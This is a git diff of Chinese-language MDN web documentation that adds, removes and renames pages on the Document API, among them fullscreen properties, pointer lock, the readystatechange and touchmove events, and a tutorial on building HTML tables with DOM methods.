过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

+ +

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

+ +
+

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

+
+ +

 

+ +

概述

+ +

返回一个布尔值,表明当前文档是否处于全屏模式.

+ +

语法

+ +
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
+
+ +

例子

+ +
function isDocumentInFullScreenMode() {
+  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
+  return (document.fullscreenElement && document.fullscreenElement !== null) ||
+      (!document.mozFullScreen && !document.webkitIsFullScreen);
+}
+
+ +

备注

+ +

查看使用全屏模式来了解更多相关内容.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

不属于任何公开的规范

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/fullscreenenabled/index.html b/files/zh-cn/web/api/document/fullscreenenabled/index.html new file mode 100644 index 0000000000..248797541a --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreenenabled/index.html @@ -0,0 +1,82 @@ +--- +title: document.mozFullScreenEnabled +slug: Web/API/Document/mozFullScreenEnabled +translation_of: Web/API/Document/fullscreenEnabled +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

+

语法

+
var isFullScreenAvailable = document.mozFullScreenEnabled;
+
+

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

+

例子

+
function requestFullScreen() {
+  if (document.mozFullScreenEnabled) {
+    videoElement.requestFullScreen();
+  } else {
+    console.log('你的浏览器不支持全屏模式!');
+  }
+}
+
+

备注

+

进入页面使用全屏模式查看详情和示例.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

+

相关链接

+ +

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/getselection/index.html b/files/zh-cn/web/api/document/getselection/index.html deleted file mode 100644 index 73b3a4ce6b..0000000000 --- a/files/zh-cn/web/api/document/getselection/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: document.getSelection -slug: Web/API/Document/getSelection -translation_of: Web/API/DocumentOrShadowRoot/getSelection -translation_of_original: Web/API/Document/getSelection ---- -
-
-

{{APIRef("DOM")}}

- -

该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法;其返回一个 {{domxref("Selection")}} 对象,表示文档中当前被选择的文本。

-
-
- -

 

diff --git a/files/zh-cn/web/api/document/inputencoding/index.html b/files/zh-cn/web/api/document/inputencoding/index.html deleted file mode 100644 index 00701e8acf..0000000000 --- a/files/zh-cn/web/api/document/inputencoding/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: document.inputEncoding -slug: Web/API/Document/inputEncoding -translation_of: Web/API/Document/characterSet -translation_of_original: Web/API/Document/inputEncoding ---- -

{{ ApiRef() }} {{ deprecated_header() }}

-

概述

-

返回一个字符串,代表当前文档渲染时所使用的编码.(比如utf-8).

-
- 警告: 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.
-

语法

-
encoding = document.inputEncoding;
-
-

inputEncoding 是个只读属性.

-

规范

- -

{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreen/index.html b/files/zh-cn/web/api/document/mozfullscreen/index.html deleted file mode 100644 index eb15adcede..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreen/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: document.mozFullScreen -slug: Web/API/Document/mozFullScreen -translation_of: Web/API/Document/fullscreen ---- -

 

- -

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

- -

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

- -

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

- -
-

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

-
- -

 

- -

概述

- -

返回一个布尔值,表明当前文档是否处于全屏模式.

- -

语法

- -
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
-
- -

例子

- -
function isDocumentInFullScreenMode() {
-  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
-  return (document.fullscreenElement && document.fullscreenElement !== null) ||
-      (!document.mozFullScreen && !document.webkitIsFullScreen);
-}
-
- -

备注

- -

查看使用全屏模式来了解更多相关内容.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

规范

- -

不属于任何公开的规范

- -

相关链接

- - - -

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreenelement/index.html b/files/zh-cn/web/api/document/mozfullscreenelement/index.html deleted file mode 100644 index d87cd89683..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenelement/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: document.mozFullScreenElement -slug: Web/API/Document/mozFullScreenElement -translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement ---- -

{{ ApiRef() }}

-

概述

-

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

-

语法

-
var element = document.mozFullScreenElement;
-
-

示例

-
function isVideoInFullsreen() {
-  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
-    console.log('您的视频正在以全屏模式显示');
-  }
-}
-

辅助

-

查看使用"全屏模式"页面了解详情.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

-

相关链接

- diff --git a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html deleted file mode 100644 index 248797541a..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: document.mozFullScreenEnabled -slug: Web/API/Document/mozFullScreenEnabled -translation_of: Web/API/Document/fullscreenEnabled ---- -

{{ ApiRef() }}

-

概述

-

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

-

语法

-
var isFullScreenAvailable = document.mozFullScreenEnabled;
-
-

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

-

例子

-
function requestFullScreen() {
-  if (document.mozFullScreenEnabled) {
-    videoElement.requestFullScreen();
-  } else {
-    console.log('你的浏览器不支持全屏模式!');
-  }
-}
-
-

备注

-

进入页面使用全屏模式查看详情和示例.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

-

相关链接

- -

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/onafterscriptexecute/index.html b/files/zh-cn/web/api/document/onafterscriptexecute/index.html new file mode 100644 index 0000000000..f1e976522e --- /dev/null +++ b/files/zh-cn/web/api/document/onafterscriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onafterscriptexecute +slug: Web/API/Element/onafterscriptexecute +tags: + - DOM + - onafterscriptexecute +translation_of: Web/API/Document/onafterscriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概述

+ +

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

+ +

语法

+ +
document.onafterscriptexecute = funcRef;
+
+ +

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

+ +

例子

+ +
function finished(e) {
+  logMessage("Finished script with ID: " + e.target.id);
+}
+
+document.addEventListener("afterscriptexecute", finished, true);
+
+ +

查看在线演示

+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/pointerlockelement/index.html b/files/zh-cn/web/api/document/pointerlockelement/index.html deleted file mode 100644 index eb6ed9cf98..0000000000 --- a/files/zh-cn/web/api/document/pointerlockelement/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Document.pointerLockElement -slug: Web/API/Document/pointerLockElement -translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement ---- -
{{APIRef("DOM")}}
- -

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

- -

语法

- -
var element = document.pointerLockElement;
-
- -

返回值

- -

An {{domxref("Element")}} or null.

- -

特性

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
- -

浏览器兼容

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/document/readystatechange_event/index.html b/files/zh-cn/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..a4f95498ad --- /dev/null +++ b/files/zh-cn/web/api/document/readystatechange_event/index.html @@ -0,0 +1,149 @@ +--- +title: 'Document: readystatechange 事件' +slug: Web/Events/readystatechange事件 +tags: + - Reference + - XMLHttpRequest + - interactive + - 事件 +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

当文档的 {{domxref("Document.readyState", "readyState")}} 属性发生改变时,会触发 readystatechange 事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
Event handler 属性onreadystatechange
+ +

示例

+ +

实时演示

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

IE 浏览器是一直支持 readystatechange 事件的,可作为 DOMContentLoaded 事件的替代方法(参见Browser compatibility的注释 [2])。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/rouchmove_event/index.html b/files/zh-cn/web/api/document/rouchmove_event/index.html deleted file mode 100644 index 1321a0c4d2..0000000000 --- a/files/zh-cn/web/api/document/rouchmove_event/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: touchmove -slug: Web/API/Document/rouchmove_event -translation_of: Web/API/Document/touchmove_event ---- -
{{APIRef}}
- -

当触点在触控平面上移动时触发touchmove事件。

- -

常规信息

- -
-
规范
-
Touch Events
-
接口
-
{{domxref("TouchEvent")}}
-
是否冒泡
-
Yes
-
能否取消默认行为
-
Yes
-
目标
-
Document, Element
-
默认行为
-
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
- For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
- -

示例

- -

这些事件的代码示例在这个页面 Touch events 中均有体现。

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关事件

- - diff --git a/files/zh-cn/web/api/document/stylesheets/index.html b/files/zh-cn/web/api/document/stylesheets/index.html deleted file mode 100644 index de44c8537b..0000000000 --- a/files/zh-cn/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Document.styleSheets -slug: Web/API/Document/styleSheets -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -translation_of_original: Web/API/Document/styleSheets ---- -
{{APIRef}}
- -

Document.styleSheets 只读属性,返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}},每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。

- -

语法

- -
let styleSheetList = document.styleSheets;
-
- -

返回的对象是一个 {{domxref("StyleSheetList")}}。

- -

它是一个 {{domxref("StyleSheet")}} 对象的有序集合。styleSheetList.item(index) 或 styleSheetList{{ mediawiki.External('index') }} 根据它的索引(索引基于0)返回一个单独的样式表对象。

- -
 
- -

规范

- - diff --git a/files/zh-cn/web/api/document/touchmove_event/index.html b/files/zh-cn/web/api/document/touchmove_event/index.html new file mode 100644 index 0000000000..1321a0c4d2 --- /dev/null +++ b/files/zh-cn/web/api/document/touchmove_event/index.html @@ -0,0 +1,171 @@ +--- +title: touchmove +slug: Web/API/Document/rouchmove_event +translation_of: Web/API/Document/touchmove_event +--- +
{{APIRef}}
+ +

当触点在触控平面上移动时触发touchmove事件。

+ +

常规信息

+ +
+
规范
+
Touch Events
+
接口
+
{{domxref("TouchEvent")}}
+
是否冒泡
+
Yes
+
能否取消默认行为
+
Yes
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例

+ +

这些事件的代码示例在这个页面 Touch events 中均有体现。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/document_object_model/preface/index.html b/files/zh-cn/web/api/document_object_model/preface/index.html deleted file mode 100644 index 80f115abfd..0000000000 --- a/files/zh-cn/web/api/document_object_model/preface/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 前言 -slug: Web/API/Document_Object_Model/Preface -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/API/Document_Object_Model/Preface ---- -

{{ ApiRef() }}

-

关于此参考文档

-

本节将描述与此向导本身相关的一些内容,内容包括它是做什么的,里面的信息是如何呈现的,以及怎样在你DOM开发中如何使用这份参考文档中的示例。

-

注意,这份文档尚在开发中,并没有完整包含Gecko中所有已经移植的DOM方法及其属性,但是,文档中的每一个小节(例如,DOM文件参考)中所描述的对象是完整的。今后当某个API库的成员的信息可用时,它将会被整合到此文档中。

-

哪些人应该阅读这份指南

-

这份Gecko DOM参考文档的读者应该是一位web开发人员或者是一位对网页制作有一定了解的熟练web用户。这份文档对读者对DOM、XML、web服务或者web标准,甚至JavaScript——DOM呈现给读者的语言——的熟练度都没有要求。但是,本文档假定读者至少对HTML、标签、网页的基本结构、浏览器以及样式表是熟悉的。

-

在这里,介绍性的资料在展示的同时伴随有许多示例,并且高等级的解释对没有经验的和经验丰富的web开发者都同样有用,并且也并不仅仅针对入门开发者。然而,这是一份正在不断改进中的API参考手册。

-

什么是Gecko?

-

Mozilla,Firefox, Netscape 6以上版本,以及一些基于Mozilla的其他浏览器都有一个相同的对DOM的实现。这是因为它们使用的是相同的技术。

-

Gecko,即在上述各种浏览器中处理HTML的解析,页面的排版,文档对象模型,以及整个应用界面的渲染的软件组件,是一个快速的、兼容多种标准的渲染引擎。它移植了W3C的DOM标准以及出现在网页页面和应用界面(或者称为chrome)中的类DOM(但尚未标准化)的浏览器对象模型(即所谓window等的)。

-

尽管应用界面和页面内容在不同的浏览器里的呈现方式不一样,但是DOM期望它们统一地作为一种节点的分层结构。

-

API语法

-

API参考里的每个描述都包括语法、输入输出参数(包括返回类型),一个例子,额外的一些提示,以及指向对应参考文档的链接。

-

只读的属性只能被读取。因为它们无法被设置,所以通常以一个单独的一行语法表示。例如screen对象的只读属性availHeight使用的语法如下:

-
iAvail = window.screen.availHeight
-
-

这意味着你只能把该只读属性放在等式的右边。

-

可读/写的属性,既能被读取也能被写入:

-
msg = window.status
-window.status = msg
-
-

一般来说,描述对象的成员时,对象的格式声明通常都带有一个简单的类型描述符,例如,对所有的元素使用element,对所有的顶层文档对象使用document,对所有的表对象使用table等(详见重要的数据类型)。

-

如何使用示例

-

本参考文档中的许多示例都是完整的文档,你可以把他们复制粘贴到一个新的文件,然后在浏览器中打开它。

-

其他的例子是一些代码片段。你可以把它们加入到JavaScript的回调函数中来执行。

-

例如,这个关于window.document属性的例子能通过一个函数来测试。这里,它通过一个按钮的onclick 属性来调用。

-
<html>
-<head>
-<title>Test Page</title>
-<script type="text/javascript">
-function testWinDoc() {
-
-  var doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-</head>
-
-<body>
-  <button onclick="testWinDoc();">test document property</button>
-</body>
-</html>
-
-

其他一些尚未完整打包的对象成员也采用与此类似的函数和页面。参见测试DOM API,可以一次对各种API的做一次“无害测试”。

diff --git a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html new file mode 100644 index 0000000000..9d18892707 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -0,0 +1,338 @@ +--- +title: 使用Javascript和DOM Interfaces来处理HTML +slug: 使用Javascript和DOM_Interfaces来处理HTML +tags: + - DOM +translation_of: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +--- +
+

简介

+ +

本文概述了一些强大的,基本的DOM 1 级别中的方法以及如何在JavaScript中使用它们。你将会如何动态地创建,访问,控制以及移除HTML元素。这里提到的DOM方法,并非是HTML专有的;它们在XML中同样适用。这里所有的示例,在任何全面支持DOM level1 的浏览器里都能正常工作;例如Mozilla浏览器或者其他基于Mozilla的浏览器,像网景公司的下一代导航者(Navigatior)浏览器等。这里的示例代码在IE5中也能正常工作。

+ +
这里所提到的DOM方法是文档对象模型规范(版本一)的核心的一部分。DOM 1版本包括对文档进行访问和处理的方法(DOM 1 核心)和专门为HTML文档定义的方法。
+ +

Sample1.html概览

+ +

这段文字是通过一个实例代码来介绍了DOM的。那么我们从下面的HTML示例来开始吧。这段示例使用了DOM1的方法,从JavaScript动态创建了一个HTML表格。它创建了一个包含了四个单元格,并且在每个单元格中含有文本。单元中文字内容是“这个单元式y行x列”,来展示单元格在表格中所处的位置。

+ +
<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口创建一个 HTML 表格</title>
+<script>
+    function start() {
+        // 获得从body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个TABLE的元素
+        var mytable = document.createElement("TABLE");
+        // 创建一个TBODY的元素
+        var mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个TR元素
+          var  mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个TD元素
+              var  mycurrent_cell=document.createElement("TD");
+                // 创建一个文本(text)节点
+              var  currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将我们创建的这个文本节点添加在TD元素里
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD元素添加在TR里
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR元素添加在TBODY里
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY元素添加在TABLE里
+        mytable.appendChild(mytablebody);
+        // 将TABLE元素添加在BODY里
+        mybody.appendChild(mytable);
+        // 设置mytable的边界属性border为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

注意我们创建元素和文本节点的顺序:

+ +
    +
  1. 首先我们创建了TABLE元素。
  2. +
  3. 然后,我们创建了TABLE的子元素--TBODY。
  4. +
  5. 然后,我们使用循环语句创建了TBODY的子元素--TR。
  6. +
  7. 对于每一个TR元素,我们使用一个循环语句创建它的子元素--TD。
  8. +
  9. 对于每一个TD元素,我们创建单元格内的文本节点。
  10. +
+ +

现在,我们创建了TABLE,TBODY,TR,TD等元素,然后创建了文本节点;接下来,我们将每一个对象接在各自的父节点上,使用逆序:

+ +
    +
  1. 首先,我们将每一个文本节点接在TD元素上 +
    mycurrent_cell.appendChild(currenttext);
    +
  2. +
  3. 然后,我们将每一个TD元素接在他的父TR元素上。 +
    mycurrent_row.appendChild(mycurrent_cell);
    +
  4. +
  5. 然后,我们将每一个TR元素接在他们的父TBODY元素上。 +
    mytablebody.appendChild(mycurrent_row);
    +
  6. +
  7. 下一步,我们将TBODY元素接在他的父TABLE元素上 +
    mytable.appendChild(mytablebody);
    +
  8. +
  9. 最后,我们将TABLE元素接在他的父元素BODY上。 +
    mybody.appendChild(mytable);
    +
  10. +
+ +

请记住这个机制。你将会在W3C DOM编程中经常使用它。首先,你从上到下的创建元素;然后你从下向上的将子元素接在他们的父元素上。

+ +

下面是由javascript代码生成的HTML代码:

+ +
...
+<table border="2">
+<tbody>
+<tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr>
+<tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr>
+</tbody>
+</table>
+...
+
+ +

下面是由代码生成的TABLE及其子元素的DOM对象树:

+ +

Image:sample1-tabledom.jpg

+ +

你可以只用一些DOM方法来创建这个表格和它内部的子元素。请在脑海中时刻保留你想要创建的数据结构的树之模型,这样有利于更简便的写出必须的代码。在图1的TABLE树中,TABLE有一个子元素TBODY。TBODY有两个子元素。每一个TR又含有两个子元素(TD)。最后,每一个TD有一个子元素--文本节点。

+ +

